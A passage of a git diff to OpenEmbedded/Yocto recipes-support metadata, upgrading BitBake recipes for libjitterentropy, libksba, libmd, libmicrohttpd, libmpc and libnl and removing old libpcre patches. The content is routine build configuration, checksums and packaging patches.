-LIC_FILES_CHKSUM = "file://COPYING;md5=e52365752b36cfcd7f9601d80de7d8c6 \
- file://COPYING.gplv2;md5=eb723b61539feef013de476e68b5c50a \
- file://COPYING.bsd;md5=66a5cedaf62c4b2637025f049f9b826f \
- "
-SRC_URI = "git://github.com/smuellerDD/jitterentropy-library.git \
- file://0001-fix-do_install-failure-on-oe.patch \
- "
-SRCREV = "f5a80c6f3fcc6deebd0eabf75324f48aed1afbce"
-S = "${WORKDIR}/git"
-
-do_configure[noexec] = "1"
-
-LDFLAGS += "-Wl,-O0"
-
-do_install () {
- oe_runmake install INCDIR="/include" \
- DESTDIR="${D}" \
- PREFIX="${exec_prefix}" \
- LIBDIR="${baselib}"
-}
-
diff --git a/meta/recipes-support/libjitterentropy/libjitterentropy_3.3.1.bb b/meta/recipes-support/libjitterentropy/libjitterentropy_3.3.1.bb
new file mode 100644
index 0000000000..38b48908a3
--- /dev/null
+++ b/meta/recipes-support/libjitterentropy/libjitterentropy_3.3.1.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Hardware RNG based on CPU timing jitter"
+DESCRIPTION = "The Jitter RNG provides a noise source using the CPU execution timing jitter. \
+It does not depend on any system resource other than a high-resolution time \
+stamp. It is a small-scale, yet fast entropy source that is viable in almost \
+all environments and on a lot of CPU architectures."
+HOMEPAGE = "http://www.chronox.de/jent.html"
+LICENSE = "GPL-2.0-or-later | BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1c94a9d191202a5552f381a023551396 \
+ file://LICENSE.gplv2;md5=eb723b61539feef013de476e68b5c50a \
+ file://LICENSE.bsd;md5=66a5cedaf62c4b2637025f049f9b826f \
+ "
+SRC_URI = "git://github.com/smuellerDD/jitterentropy-library.git;branch=master;protocol=https"
+SRCREV = "887c9871ea110e397812ff7f3b28a6269f0a2ffc"
+S = "${WORKDIR}/git"
+
+# remove at next version upgrade or when output changes
+HASHEQUIV_HASH_VERSION .= ".2"
+
+do_configure[noexec] = "1"
+
+LDFLAGS += "-Wl,-O0"
+
+do_install () {
+ oe_runmake install INCDIR="/include" \
+ DESTDIR="${D}" \
+ PREFIX="${exec_prefix}" \
+ LIBDIR="${baselib}" \
+ INSTALL_STRIP="install"
+}
+
diff --git a/meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch b/meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch
index 5afe6de923..af96bd57cd 100644
--- a/meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch
+++ b/meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch
@@ -1,3 +1,8 @@
+From 6081640895b6d566fa21123e2de7d111eeab5c4c Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 3 Dec 2012 18:17:31 +0800
+Subject: [PATCH] libksba: add pkgconfig support
+
Upstream-Status: Denied
Add pkgconfig support to libksba.
@@ -6,78 +11,53 @@ They think pkgconfig adds no portability and maintaining them is not worthwhile.
Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-Index: libksba-1.3.5/Makefile.am
-===================================================================
---- libksba-1.3.5.orig/Makefile.am
-+++ libksba-1.3.5/Makefile.am
-@@ -20,6 +20,9 @@
-
- ACLOCAL_AMFLAGS = -I m4 -I gl/m4
-
-+pkgconfigdir = ${libdir}/pkgconfig
-+pkgconfig_DATA = ksba.pc
-+
- # (A suitable gitlog-to-changelog script can be found in GnuPG master.)
- GITLOG_TO_CHANGELOG=gitlog-to-changelog
-
-Index: libksba-1.3.5/configure.ac
-===================================================================
---- libksba-1.3.5.orig/configure.ac
-+++ libksba-1.3.5/configure.ac
-@@ -414,6 +414,7 @@ gl/Makefile
- src/Makefile
- src/ksba-config
- src/versioninfo.rc
-+ksba.pc
- tests/Makefile
- doc/Makefile
- ])
-Index: libksba-1.3.5/ksba.pc.in
-===================================================================
---- /dev/null
-+++ libksba-1.3.5/ksba.pc.in
-@@ -0,0 +1,17 @@
-+prefix=@prefix@
-+exec_prefix=@exec_prefix@
-+libdir=@libdir@
-+includedir=@includedir@
-+
-+# API info
-+api_version=@KSBA_CONFIG_API_VERSION@
-+host=@KSBA_CONFIG_HOST@
-+
-+Name: ksba
-+Description: Libksba provides an easy API to create and parse X.509 and CMS related objects
-+Requires:
-+Version: @VERSION@
-+Libs: -L${libdir} -lksba
-+Libs.private: -L${libdir} -lgpg-error
-+Cflags: -I${includedir}
-+
-Index: libksba-1.3.5/src/ksba.m4
-===================================================================
---- libksba-1.3.5.orig/src/ksba.m4
-+++ libksba-1.3.5/src/ksba.m4
-@@ -22,18 +22,7 @@ dnl with a changed API.
+---
+ src/ksba.m4 | 90 +++--------------------------------------------------
+ 1 file changed, 4 insertions(+), 86 deletions(-)
+
+diff --git a/src/ksba.m4 b/src/ksba.m4
+index 6b55bb8..6e7336f 100644
+--- a/src/ksba.m4
++++ b/src/ksba.m4
+@@ -23,37 +23,6 @@ dnl with a changed API.
dnl
AC_DEFUN([AM_PATH_KSBA],
- [AC_REQUIRE([AC_CANONICAL_HOST])
-- AC_ARG_WITH(ksba-prefix,
-- AC_HELP_STRING([--with-ksba-prefix=PFX],
-- [prefix where KSBA is installed (optional)]),
+ [ AC_REQUIRE([AC_CANONICAL_HOST])
+- dnl --with-libksba-prefix=PFX is the preferred name for this option,
+- dnl since that is consistent with how our three siblings use the directory/
+- dnl package name in --with-$dir_name-prefix=PFX.
+- AC_ARG_WITH(libksba-prefix,
+- AS_HELP_STRING([--with-libksba-prefix=PFX],
+- [prefix where KSBA is installed (optional)]),
- ksba_config_prefix="$withval", ksba_config_prefix="")
+-
+- dnl Accept --with-ksba-prefix and make it work the same as
+- dnl --with-libksba-prefix above, for backwards compatibility,
+- dnl but do not document this old, inconsistently-named option.
+- AC_ARG_WITH(ksba-prefix,,
+- ksba_config_prefix="$withval", ksba_config_prefix="")
+-
- if test x$ksba_config_prefix != x ; then
-- ksba_config_args="$ksba_config_args --prefix=$ksba_config_prefix"
-- if test x${KSBA_CONFIG+set} != xset ; then
-- KSBA_CONFIG=$ksba_config_prefix/bin/ksba-config
-- fi
+- if test x${KSBA_CONFIG+set} != xset ; then
+- KSBA_CONFIG=$ksba_config_prefix/bin/ksba-config
+- fi
+- fi
+-
+- use_gpgrt_config=""
+- if test x"$KSBA_CONFIG" = x -a x"$GPGRT_CONFIG" != x -a "$GPGRT_CONFIG" != "no"; then
+- if $GPGRT_CONFIG ksba --exists; then
+- KSBA_CONFIG="$GPGRT_CONFIG ksba"
+- AC_MSG_NOTICE([Use gpgrt-config as ksba-config])
+- use_gpgrt_config=yes
+- fi
+- fi
+- if test -z "$use_gpgrt_config"; then
+- AC_PATH_PROG(KSBA_CONFIG, ksba-config, no)
- fi
-- AC_PATH_PROG(KSBA_CONFIG, ksba-config, no)
tmp=ifelse([$1], ,1:1.0.0,$1)
if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
- req_ksba_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'`
-@@ -43,48 +32,13 @@ AC_DEFUN([AM_PATH_KSBA],
+@@ -64,56 +33,13 @@ AC_DEFUN([AM_PATH_KSBA],
min_ksba_version="$tmp"
fi
@@ -90,7 +70,11 @@ Index: libksba-1.3.5/src/ksba.m4
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
- req_micro=`echo $min_ksba_version | \
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\3/'`
-- ksba_config_version=`$KSBA_CONFIG $ksba_config_args --version`
+- if test -z "$use_gpgrt_config"; then
+- ksba_config_version=`$KSBA_CONFIG --version`
+- else
+- ksba_config_version=`$KSBA_CONFIG --modversion`
+- fi
- major=`echo $ksba_config_version | \
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
- minor=`echo $ksba_config_version | \
@@ -124,24 +108,32 @@ Index: libksba-1.3.5/src/ksba.m4
# Even if we have a recent libksba, we should check that the
# API is compatible.
if test "$req_ksba_api" -gt 0 ; then
-- tmp=`$KSBA_CONFIG --api-version 2>/dev/null || echo 0`
+- if test -z "$use_gpgrt_config"; then
+- tmp=`$KSBA_CONFIG --api-version 2>/dev/null || echo 0`
+- else
+- tmp=`$KSBA_CONFIG --variable=api_version 2>/dev/null || echo 0`
+- fi
+ tmp=`$PKG_CONFIG --variable=api_version ksba`
if test "$tmp" -gt 0 ; then
AC_MSG_CHECKING([KSBA API version])
if test "$req_ksba_api" -eq "$tmp" ; then
-@@ -97,10 +51,8 @@ AC_DEFUN([AM_PATH_KSBA],
+@@ -126,14 +52,8 @@ AC_DEFUN([AM_PATH_KSBA],
fi
fi
if test $ok = yes; then
-- KSBA_CFLAGS=`$KSBA_CONFIG $ksba_config_args --cflags`
-- KSBA_LIBS=`$KSBA_CONFIG $ksba_config_args --libs`
+- KSBA_CFLAGS=`$KSBA_CONFIG --cflags`
+- KSBA_LIBS=`$KSBA_CONFIG --libs`
ifelse([$2], , :, [$2])
-- libksba_config_host=`$LIBKSBA_CONFIG $ksba_config_args --host 2>/dev/null || echo none`
+- if test -z "$use_gpgrt_config"; then
+- libksba_config_host=`$KSBA_CONFIG --host 2>/dev/null || echo none`
+- else
+- libksba_config_host=`$KSBA_CONFIG --variable=host 2>/dev/null || echo none`
+- fi
+ libksba_config_host=`$PKG_CONFIG --variable=host ksba`
if test x"$libksba_config_host" != xnone ; then
if test x"$libksba_config_host" != x"$host" ; then
AC_MSG_WARN([[
-@@ -114,8 +66,6 @@ AC_DEFUN([AM_PATH_KSBA],
+@@ -147,8 +67,6 @@ AC_DEFUN([AM_PATH_KSBA],
fi
fi
else
diff --git a/meta/recipes-support/libksba/libksba_1.3.5.bb b/meta/recipes-support/libksba/libksba_1.3.5.bb
deleted file mode 100644
index 4deda1843f..0000000000
--- a/meta/recipes-support/libksba/libksba_1.3.5.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Easy API to create and parse X.509 and CMS related objects"
-HOMEPAGE = "http://www.gnupg.org/related_software/libksba/"
-LICENSE = "GPLv3+ & (GPLv2+ | LGPLv3+)"
-LICENSE_${PN} = "GPLv2+ | LGPLv3+"
-LICENSE_${PN}-doc = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fd541d83f75d038c4e0617b672ed8bda \
- file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.GPLv3;md5=2f31b266d3440dd7ee50f92cf67d8e6c \
- file://COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
- "
-
-DEPENDS = "libgpg-error"
-
-BINCONFIG = "${bindir}/ksba-config"
-
-inherit autotools binconfig-disabled pkgconfig texinfo
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://ksba-add-pkgconfig-support.patch"
-
-SRC_URI[md5sum] = "8302a3e263a7c630aa7dea7d341f07a2"
-SRC_URI[sha256sum] = "41444fd7a6ff73a79ad9728f985e71c9ba8cd3e5e53358e70d5f066d35c1a340"
-
-do_configure_prepend () {
- # Else these could be used in preference to those in aclocal-copy
- rm -f ${S}/m4/gpg-error.m4
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/libksba/libksba_1.6.0.bb b/meta/recipes-support/libksba/libksba_1.6.0.bb
new file mode 100644
index 0000000000..f9e83681dd
--- /dev/null
+++ b/meta/recipes-support/libksba/libksba_1.6.0.bb
@@ -0,0 +1,34 @@
+SUMMARY = "Easy API to create and parse X.509 and CMS related objects"
+DESCRIPTION = "A library to make the tasks of working with X.509 certificates, \
+CMS data and related objects more easy. It provides a highlevel interface to \
+the implemented protocols and presents the data in a consistent way. The \
+library does not rely on another cryptographic library but provides \
+hooks for easy integration with Libgcrypt. "
+HOMEPAGE = "http://www.gnupg.org/related_software/libksba/"
+LICENSE = "GPL-3.0-or-later & (GPL-2.0-or-later | LGPL-3.0-or-later)"
+LICENSE:${PN} = "GPL-2.0-or-later | LGPL-3.0-or-later"
+LICENSE:${PN}-doc = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fd541d83f75d038c4e0617b672ed8bda \
+ file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.GPLv3;md5=2f31b266d3440dd7ee50f92cf67d8e6c \
+ file://COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
+ "
+
+DEPENDS = "libgpg-error"
+
+BINCONFIG = "${bindir}/ksba-config"
+
+inherit autotools binconfig-disabled pkgconfig texinfo
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://ksba-add-pkgconfig-support.patch"
+
+SRC_URI[sha256sum] = "dad683e6f2d915d880aa4bed5cea9a115690b8935b78a1bbe01669189307a48b"
+
+do_configure:prepend () {
+ # Else these could be used in preference to those in aclocal-copy
+ rm -f ${S}/m4/gpg-error.m4
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libmd/libmd_1.0.4.bb b/meta/recipes-support/libmd/libmd_1.0.4.bb
new file mode 100644
index 0000000000..b93dc2d78d
--- /dev/null
+++ b/meta/recipes-support/libmd/libmd_1.0.4.bb
@@ -0,0 +1,16 @@
+SUMMARY = "Message Digest functions from BSD systems"
+DESCRIPTION = "This library provides message digest functions \
+found on BSD systems either on their libc (NetBSD, OpenBSD) or \
+libmd (FreeBSD, DragonflyBSD, macOS, Solaris) libraries and \
+lacking on others like GNU systems."
+HOMEPAGE = "https://www.hadrons.org/software/libmd/"
+
+LICENSE = "BSD-3-Clause & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0436d4fb62a71f661d6e8b7812f9e1df"
+
+SRC_URI = "https://archive.hadrons.org/software/libmd/libmd-${PV}.tar.xz"
+SRC_URI[sha256sum] = "f51c921042e34beddeded4b75557656559cf5b1f2448033b4c1eec11c07e530f"
+
+inherit autotools
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libmicrohttpd/libmicrohttpd_0.9.75.bb b/meta/recipes-support/libmicrohttpd/libmicrohttpd_0.9.75.bb
new file mode 100644
index 0000000000..9c99af7c91
--- /dev/null
+++ b/meta/recipes-support/libmicrohttpd/libmicrohttpd_0.9.75.bb
@@ -0,0 +1,30 @@
+DESCRIPTION = "A small C library that is supposed to make it easy to run an HTTP server as part of another application"
+HOMEPAGE = "http://www.gnu.org/software/libmicrohttpd/"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=57d09285feac8a64efa878e692b14f36"
+SECTION = "net"
+
+DEPENDS = "file"
+
+SRC_URI = "${GNU_MIRROR}/libmicrohttpd/${BPN}-${PV}.tar.gz"
+SRC_URI[sha256sum] = "9278907a6f571b391aab9644fd646a5108ed97311ec66f6359cebbedb0a4e3bb"
+
+inherit autotools lib_package pkgconfig gettext
+
+CFLAGS += "-pthread -D_REENTRANT"
+
+EXTRA_OECONF += "--disable-static --with-gnutls=${STAGING_LIBDIR}/../"
+
+PACKAGECONFIG ?= "curl https"
+PACKAGECONFIG:append:class-target = "\
+ ${@bb.utils.filter('DISTRO_FEATURES', 'largefile', d)} \
+"
+PACKAGECONFIG[largefile] = "--enable-largefile,--disable-largefile,,"
+PACKAGECONFIG[curl] = "--enable-curl,--disable-curl,curl,"
+PACKAGECONFIG[https] = "--enable-https,--disable-https,libgcrypt gnutls,"
+
+do_compile:append() {
+ sed -i s:-L${STAGING_LIBDIR}::g libmicrohttpd.pc
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libmpc/libmpc.inc b/meta/recipes-support/libmpc/libmpc.inc
index b3742543df..bc564d4dca 100644
--- a/meta/recipes-support/libmpc/libmpc.inc
+++ b/meta/recipes-support/libmpc/libmpc.inc
@@ -1,7 +1,7 @@
SUMMARY = "C library for complex number arithmetic with arbitrary precision and correct rounding"
DESCRIPTION = "Mpc is a C library for the arithmetic of complex numbers with arbitrarily high precision and correct rounding of the result. It is built upon and follows the same principles as Mpfr"
HOMEPAGE = "http://www.multiprecision.org/"
-LICENSE = "LGPLv3"
+LICENSE = "LGPL-3.0-only"
SECTION = "libs"
inherit autotools texinfo
diff --git a/meta/recipes-support/libmpc/libmpc_1.1.0.bb b/meta/recipes-support/libmpc/libmpc_1.1.0.bb
deleted file mode 100644
index bbc673ff38..0000000000
--- a/meta/recipes-support/libmpc/libmpc_1.1.0.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-require libmpc.inc
-
-DEPENDS = "gmp mpfr"
-
-LIC_FILES_CHKSUM = "file://COPYING.LESSER;md5=e6a600fd5e1d9cbde2d983680233ad02"
-SRC_URI = "${GNU_MIRROR}/mpc/mpc-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "4125404e41e482ec68282a2e687f6c73"
-SRC_URI[sha256sum] = "6985c538143c1208dcb1ac42cedad6ff52e267b47e5f970183a3e75125b43c2e"
-
-S = "${WORKDIR}/mpc-${PV}"
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-support/libmpc/libmpc_1.2.1.bb b/meta/recipes-support/libmpc/libmpc_1.2.1.bb
new file mode 100644
index 0000000000..15d382c4ad
--- /dev/null
+++ b/meta/recipes-support/libmpc/libmpc_1.2.1.bb
@@ -0,0 +1,12 @@
+require libmpc.inc
+
+DEPENDS = "gmp mpfr"
+
+LIC_FILES_CHKSUM = "file://COPYING.LESSER;md5=e6a600fd5e1d9cbde2d983680233ad02"
+SRC_URI = "${GNU_MIRROR}/mpc/mpc-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "17503d2c395dfcf106b622dc142683c1199431d095367c6aacba6eec30340459"
+
+S = "${WORKDIR}/mpc-${PV}"
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-support/libnl/files/enable-serial-tests.patch b/meta/recipes-support/libnl/files/enable-serial-tests.patch
new file mode 100644
index 0000000000..db774ad821
--- /dev/null
+++ b/meta/recipes-support/libnl/files/enable-serial-tests.patch
@@ -0,0 +1,29 @@
+From b1476d89bf7a0bc6062438731ee4e9026696328b Mon Sep 17 00:00:00 2001
+From: Eric Xu <chi.xu@windriver.com>
+Date: Fri, 9 Mar 2018 03:38:49 +0000
+Subject: [PATCH] Add ptest for libnl
+
+serial-tests is required to generate those targets.
+
+Upstream-Status: Inappropriate [oe-specific]
+Signed-off-by: Eric Xu <chi.xu@windriver.com>
+---
+ configure.ac | 2 +-
+ 1 files changed, 1 insertion(+), 1 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index dfead98..2cc8257 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -46,7 +46,7 @@ AC_INIT(libnl, [libnl_version], [], [], [http://www.infradead.org/~tgr/libnl/])
+ AC_CONFIG_HEADERS([lib/defs.h])
+ AC_CONFIG_AUX_DIR([build-aux])
+ AC_CONFIG_MACRO_DIR([m4])
+-AM_INIT_AUTOMAKE([-Wall foreign subdir-objects])
++AM_INIT_AUTOMAKE([-Wall foreign subdir-objects serial-tests])
+ m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES(yes)], [])
+ m4_ifdef([AM_PROG_AR], [AM_PROG_AR])
+
+--
+2.13.3
+
diff --git a/meta/recipes-support/libnl/files/run-ptest b/meta/recipes-support/libnl/files/run-ptest
new file mode 100755
index 0000000000..e5c9eb0a32
--- /dev/null
+++ b/meta/recipes-support/libnl/files/run-ptest
@@ -0,0 +1,16 @@
+#!/bin/sh
+
+num_fail=0
+
+for test in check*
+do
+ ./"$test" \
+ && echo "PASS: $test" \
+ || {
+ echo "FAIL: $test"
+ num_fail=$(( ${num_fail} + 1))
+ }
+
+done
+
+exit $num_fail
diff --git a/meta/recipes-support/libnl/libnl_3.5.0.bb b/meta/recipes-support/libnl/libnl_3.5.0.bb
index c0609c4d90..41d7a9aed8 100644
--- a/meta/recipes-support/libnl/libnl_3.5.0.bb
+++ b/meta/recipes-support/libnl/libnl_3.5.0.bb
@@ -1,42 +1,75 @@
SUMMARY = "A library for applications dealing with netlink sockets"
+DESCRIPTION = "The libnl suite is a collection of libraries providing \
+APIs to netlink protocol based Linux kernel interfaces. libnl is the core \
+library implementing the fundamentals required to use the netlink protocol \
+such as socket handling, message construction and parsing, and sending \
+and receiving of data."
HOMEPAGE = "http://www.infradead.org/~tgr/libnl/"
SECTION = "libs/network"
PE = "1"
-LICENSE = "LGPLv2.1"
+LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
DEPENDS = "flex-native bison-native"
-SRC_URI = "https://github.com/thom311/${BPN}/releases/download/${BPN}${@d.getVar('PV').replace('.','_')}/${BP}.tar.gz"
+SRC_URI = " \
+ https://github.com/thom311/${BPN}/releases/download/${BPN}${@d.getVar('PV').replace('.','_')}/${BP}.tar.gz \
+ file://enable-serial-tests.patch \
+ file://run-ptest \
+ "
+
SRC_URI[md5sum] = "74ba57b1b1d6f9f92268aa8141d8e8e4"
SRC_URI[sha256sum] = "352133ec9545da76f77e70ccb48c9d7e5324d67f6474744647a7ed382b5e05fa"
+
UPSTREAM_CHECK_URI = "https://github.com/thom311/${BPN}/releases"
-inherit autotools pkgconfig
+inherit autotools pkgconfig ptest
-FILES_${PN} = "${libdir}/libnl-3.so.* \
+FILES:${PN} = "${libdir}/libnl-3.so.* \
${libdir}/libnl.so.* \
${sysconfdir}"
-RREPLACES_${PN} = "libnl2"
-RCONFLICTS_${PN} = "libnl2"
-FILES_${PN}-dev += "${libdir}/libnl/cli/*/*.la"
-FILES_${PN}-staticdev += "${libdir}/libnl/cli/*/*.a"
+RREPLACES:${PN} = "libnl2"
+RCONFLICTS:${PN} = "libnl2"
+
+FILES:${PN}-dev += "${libdir}/libnl/cli/*/*.la"
+FILES:${PN}-staticdev += "${libdir}/libnl/cli/*/*.a"
PACKAGES += "${PN}-cli ${PN}-genl ${PN}-idiag ${PN}-nf ${PN}-route ${PN}-xfrm"
-FILES_${PN}-cli = "${libdir}/libnl-cli-3.so.* \
+FILES:${PN}-cli = "${libdir}/libnl-cli-3.so.* \
${libdir}/libnl/cli/*/*.so \
${bindir}/genl-ctrl-list \
${bindir}/idiag-socket-details \
${bindir}/nf-* \
${bindir}/nl-*"
-FILES_${PN}-genl = "${libdir}/libnl-genl-3.so.* \
+FILES:${PN}-genl = "${libdir}/libnl-genl-3.so.* \
${libdir}/libnl-genl.so.*"
-FILES_${PN}-idiag = "${libdir}/libnl-idiag-3.so.*"
-FILES_${PN}-nf = "${libdir}/libnl-nf-3.so.*"
-FILES_${PN}-route = "${libdir}/libnl-route-3.so.*"
-FILES_${PN}-xfrm = "${libdir}/libnl-xfrm-3.so.*"
-RREPLACES_${PN}-genl = "libnl-genl2"
-RCONFLICTS_${PN}-genl = "libnl-genl2"
+FILES:${PN}-idiag = "${libdir}/libnl-idiag-3.so.*"
+FILES:${PN}-nf = "${libdir}/libnl-nf-3.so.*"
+FILES:${PN}-route = "${libdir}/libnl-route-3.so.*"
+FILES:${PN}-xfrm = "${libdir}/libnl-xfrm-3.so.*"
+RREPLACES:${PN}-genl = "libnl-genl2"
+RCONFLICTS:${PN}-genl = "libnl-genl2"
+
+RDEPENDS:${PN}-ptest += "libcheck"
+DEPENDS += "${@bb.utils.contains('PTEST_ENABLED', '1', 'libcheck', '', d)}"
+
+# make sure the tests don't link against wrong so file
+EXTRA_OECONF += "${@bb.utils.contains('PTEST_ENABLED', '1', '--disable-rpath', '', d)}"
+
+do_compile_ptest() {
+ # hack to remove the call to `make runtest-TESTS`
+ sed -i 's/$(MAKE) $(AM_MAKEFLAGS) runtest-TESTS//g' Makefile
+ oe_runmake check
+}
+
+do_install_ptest(){
+ # legacy? tests are also installed, but ptest-runner will not run them
+ # upstream are not running these tests in their CI pipeline
+ # issue opened https://github.com/thom311/libnl/issues/270
+ install -m 0755 tests/.libs/* ${D}${PTEST_PATH}/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libpcre/libpcre/fix-pcre-name-collision.patch b/meta/recipes-support/libpcre/libpcre/fix-pcre-name-collision.patch
deleted file mode 100644
index 89b44f6aa6..0000000000
--- a/meta/recipes-support/libpcre/libpcre/fix-pcre-name-collision.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-Upstream-Status: Inappropriate [debian patch]
-
-This patch address a namespace collision with libc.
-
-Although there is no "#include <regex.h>" in the source file, at
-runtime, it's unintentionally linked to the libc version, the regcomp of
-libc is called instead the pcre one using pcre's data structure...
-that looks like a disaster.
-
-Can patch is from Debian (and Ubuntu 11.04alpha has it also).
-
-[sgw: added patch comment]
-Signed-off-by: Qing He <qing.he@intel.com>
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
---- a/pcreposix.h 2010-05-17 00:17:23.000000000 +0800
-+++ b/pcreposix.h 2009-01-15 04:32:17.000000000 +0800
-@@ -133,14 +130,19 @@
-
- /* The functions */
-
--PCREPOSIX_EXP_DECL int regcomp(regex_t *, const char *, int);
--PCREPOSIX_EXP_DECL int regexec(const regex_t *, const char *, size_t,
-+PCREPOSIX_EXP_DECL int pcreposix_regcomp(regex_t *, const char *, int);
-+PCREPOSIX_EXP_DECL int pcreposix_regexec(const regex_t *, const char *, size_t,
- regmatch_t *, int);
--PCREPOSIX_EXP_DECL size_t regerror(int, const regex_t *, char *, size_t);
--PCREPOSIX_EXP_DECL void regfree(regex_t *);
-+PCREPOSIX_EXP_DECL size_t pcreposix_regerror(int, const regex_t *, char *, size_t);
-+PCREPOSIX_EXP_DECL void pcreposix_regfree(regex_t *);
-
- #ifdef __cplusplus
- } /* extern "C" */
- #endif
-
-+#define regcomp pcreposix_regcomp
-+#define regexec pcreposix_regexec
-+#define regerror pcreposix_regerror
-+#define regfree pcreposix_regfree
-+
- #endif /* End of pcreposix.h */
diff --git a/meta/recipes-support/libpcre/libpcre/out-of-tree.patch b/meta/recipes-support/libpcre/libpcre/out-of-tree.patch
deleted file mode 100644
index d56789615f..0000000000
--- a/meta/recipes-support/libpcre/libpcre/out-of-tree.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-In out-of-tree builds the #include fails because $srcdir isn't in the include path. Set CPPFLAGS so that it is.
-
-Upstream-Status: Backport [r1750]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-Index: configure.ac
-===================================================================
---- a/configure.ac (revision 1749)
-+++ b/configure.ac (working copy)
-@@ -159,6 +159,8 @@
-
- if test "$enable_jit" = "auto"; then
- AC_LANG(C)
-+ SAVE_CPPFLAGS=$CPPFLAGS
-+ CPPFLAGS=-I$srcdir
- AC_COMPILE_IFELSE([AC_LANG_SOURCE([[
- #define SLJIT_CONFIG_AUTO 1
- #include "sljit/sljitConfigInternal.h"
-@@ -165,6 +167,7 @@
- #if (defined SLJIT_CONFIG_UNSUPPORTED && SLJIT_CONFIG_UNSUPPORTED)
- #error unsupported
- #endif]])], enable_jit=yes, enable_jit=no)
-+ CPPFLAGS=$SAVE_CPPFLAGS
- fi
-
- # Handle --disable-pcregrep-jit (enabled by default)
diff --git a/meta/recipes-support/libpcre/libpcre2/pcre-cross.patch b/meta/recipes-support/libpcre/libpcre2/pcre-cross.patch
deleted file mode 100644
index 871cdfcb7d..0000000000
--- a/meta/recipes-support/libpcre/libpcre2/pcre-cross.patch
+++ /dev/null
@@ -1,65 +0,0 @@
-Fix for cross compiling
-
-Fixed:
-| ./dftables src/pcre2_chartables.c
-| make: ./dftables: Command not found
-| make: *** [src/pcre2_chartables.c] Error 127
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
-Index: pcre2-10.30/Makefile.am
-===================================================================
---- pcre2-10.30.orig/Makefile.am
-+++ pcre2-10.30/Makefile.am
-@@ -325,9 +325,21 @@ bin_SCRIPTS = pcre2-config
- ## to copy a distributed set of tables that are defined for ASCII code. In this
- ## case, dftables is not needed.
-
-+CC_FOR_BUILD = @CC_FOR_BUILD@
-+CFLAGS_FOR_BUILD = @CFLAGS_FOR_BUILD@
-+CCLD_FOR_BUILD = @CCLD_FOR_BUILD@
-+LDFLAGS_FOR_BUILD = @LDFLAGS_FOR_BUILD@
-+
- if WITH_REBUILD_CHARTABLES
- noinst_PROGRAMS += dftables
- dftables_SOURCES = src/dftables.c
-+
-+dftables_LINK = $(CCLD_FOR_BUILD) -o $@
-+dftables_LDFLAGS = $(LDFLAGS_FOR_BUILD)
-+
-+src/dftables.o: $(srcdir)/src/dftables.c
-+ $(CC_FOR_BUILD) -c $(CFLAGS_FOR_BUILD) -o $@ $(srcdir)/src/dftables.c
-+
- src/pcre2_chartables.c: dftables$(EXEEXT)
- rm -f $@
- ./dftables$(EXEEXT) $@
-Index: pcre2-10.30/configure.ac
-===================================================================
---- pcre2-10.30.orig/configure.ac
-+++ pcre2-10.30/configure.ac
-@@ -60,6 +60,23 @@ fi
- # This is a new thing required to stop a warning from automake 1.12
- m4_ifdef([AM_PROG_AR], [AM_PROG_AR])
-
-+if test x"$cross_compiling" = xyes; then
-+ CC_FOR_BUILD="${CC_FOR_BUILD-gcc}"
-+ CCLD_FOR_BUILD="${CCLD_FOR_BUILD-gcc}"
-+ CFLAGS_FOR_BUILD="${CFLAGS_FOR_BUILD}"
-+ LDFLAGS_FOR_BUILD="${LDFLAGS_FOR_BUILD}"
-+else
